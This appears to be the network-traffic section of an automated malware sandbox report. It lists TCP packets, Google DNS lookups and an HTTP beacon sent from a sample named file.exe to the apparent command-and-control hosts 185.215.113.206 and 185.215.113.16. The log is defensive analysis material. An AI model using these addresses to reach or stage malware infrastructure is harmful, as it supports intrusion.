Dec 7, 2024 22:40:56.502401114 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.503259897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.503310919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.503371954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.503544092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.504317999 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.504394054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.504412889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.504427910 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.505314112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.505453110 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.505510092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.506372929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.506422997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.506463051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.506503105 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.507355928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.507407904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.507452011 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.507498026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.508503914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.508563042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.508605003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.508644104 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.509418011 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.509485006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.509521961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.509562969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.510406971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.510473013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.510504007 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.510591984 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.511440992 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.511503935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.511533022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.511670113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.512448072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.512512922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.512550116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.512665987 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.513464928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.513581038 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.513593912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.513633013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.514477015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.514575005 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.514621973 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.515516043 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.515584946 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.515618086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.515654087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.516524076 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.516617060 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.516629934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.516654015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.517570019 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.517632961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.517644882 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.517741919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.518513918 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.518578053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.546792984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:56.546927929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:56.657105923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.657135963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.657164097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.657186985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.657589912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.657638073 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.657713890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.657763958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.658634901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.658684015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.658696890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.658739090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.659728050 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.659780979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.659813881 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.659862041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.660665035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.660712957 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.660825014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.660887957 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.661768913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.661819935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.661859989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.661904097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.662741899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.662792921 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.662827969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.662909031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.663819075 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.663868904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.663940907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.663989067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.664803982 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.664853096 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.664870024 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.664913893 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.665777922 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.665824890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.665867090 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.665915012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.666801929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.666848898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.666867971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.666908026 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.667804956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.667855024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.667944908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.668001890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.668839931 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.668895960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.668906927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.668951988 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.669811010 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.669859886 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.669960976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.670006037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.670871973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.670943975 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.670979023 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.671025991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.671861887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.671911001 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.672049046 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.672099113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.672903061 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.672950029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.673094988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.673146963 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.673887014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.673930883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.673998117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.674045086 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.674911976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.674959898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.675023079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.675070047 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.675983906 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.676042080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.676158905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.676203966 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.677022934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.677072048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.677141905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.677190065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.678056955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.678092957 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.678105116 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.678133965 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.679014921 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.679061890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.679116964 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.679167032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.680042028 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.680088997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.680125952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.680167913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.681034088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.681080103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.681148052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.681191921 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.682069063 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.682120085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.682180882 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.682226896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.683106899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.683154106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.683216095 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.683264971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.684142113 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.684186935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.684274912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.684326887 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.685214996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.685261011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.685323000 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.685374022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.686110973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.686156988 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.686213017 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.686271906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.687184095 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.687237024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.687268972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.687319040 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.688188076 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.688241959 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.688352108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.688396931 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.689179897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.689230919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.689333916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.689379930 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.690335989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.690387011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.690416098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.690459013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.691262960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.691310883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.691376925 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.691414118 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.692300081 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.692348957 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.692378044 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.692430019 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.693281889 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.693332911 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.693367958 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.693409920 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.694289923 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.694335938 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.694403887 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.694454908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.695400953 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.695452929 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.695457935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.695493937 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.696316957 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.696363926 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.696468115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.696512938 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.697334051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.697381973 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.697467089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.697511911 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.698370934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.698421955 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.698519945 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.698565006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.699369907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.699419022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.699460983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.699506044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.700426102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.700473070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.700544119 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.700586081 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.701414108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.701467991 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.701508045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.701551914 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.702450991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.702498913 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.702536106 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.702580929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.703547955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.703607082 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.703670025 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.703670025 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.704463959 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.704516888 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.704549074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.704587936 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.705513954 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.705555916 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.705607891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.705653906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.706557035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.706603050 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.706633091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.706674099 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.707508087 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.707554102 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.707609892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.707655907 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.708530903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.708579063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.708652020 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.708695889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.709676981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.709722042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.709753036 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.709796906 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.710498095 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.710541964 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.794245005 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.794749975 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.794764996 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.795201063 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:56.795207024 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:56.849335909 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.849436045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.849461079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.849513054 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.849898100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.849948883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.849991083 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.850033998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.850822926 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.850893021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.850935936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.850986004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.851814985 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.851867914 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:56.851910114 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:56.851957083 CET	49827	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 22:40:15.438393116 CET	192.168.2.6	1.1.1.1	0x2e6e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:15.438535929 CET	192.168.2.6	1.1.1.1	0x4ac8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 7, 2024 22:40:22.128496885 CET	192.168.2.6	1.1.1.1	0xa6bc	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:22.128658056 CET	192.168.2.6	1.1.1.1	0xcaae	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 7, 2024 22:40:22.143764019 CET	192.168.2.6	1.1.1.1	0x9c7a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:22.144016981 CET	192.168.2.6	1.1.1.1	0x881d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 7, 2024 22:40:23.125391960 CET	192.168.2.6	1.1.1.1	0x5fa3	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:23.125612020 CET	192.168.2.6	1.1.1.1	0x2c52	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 22:40:15.575195074 CET	1.1.1.1	192.168.2.6	0x2e6e	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:15.575414896 CET	1.1.1.1	192.168.2.6	0x4ac8	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 7, 2024 22:40:22.265789986 CET	1.1.1.1	192.168.2.6	0xa6bc	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 22:40:22.265789986 CET	1.1.1.1	192.168.2.6	0xa6bc	No error (0)	www3.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:22.281682968 CET	1.1.1.1	192.168.2.6	0x9c7a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 22:40:22.281682968 CET	1.1.1.1	192.168.2.6	0x9c7a	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 7, 2024 22:40:22.281702042 CET	1.1.1.1	192.168.2.6	0x881d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 22:40:22.364691973 CET	1.1.1.1	192.168.2.6	0xcaae	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 22:40:23.262177944 CET	1.1.1.1	192.168.2.6	0x5fa3	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	185.215.113.206	80	4340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:40:07.011670113 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 22:40:08.343576908 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
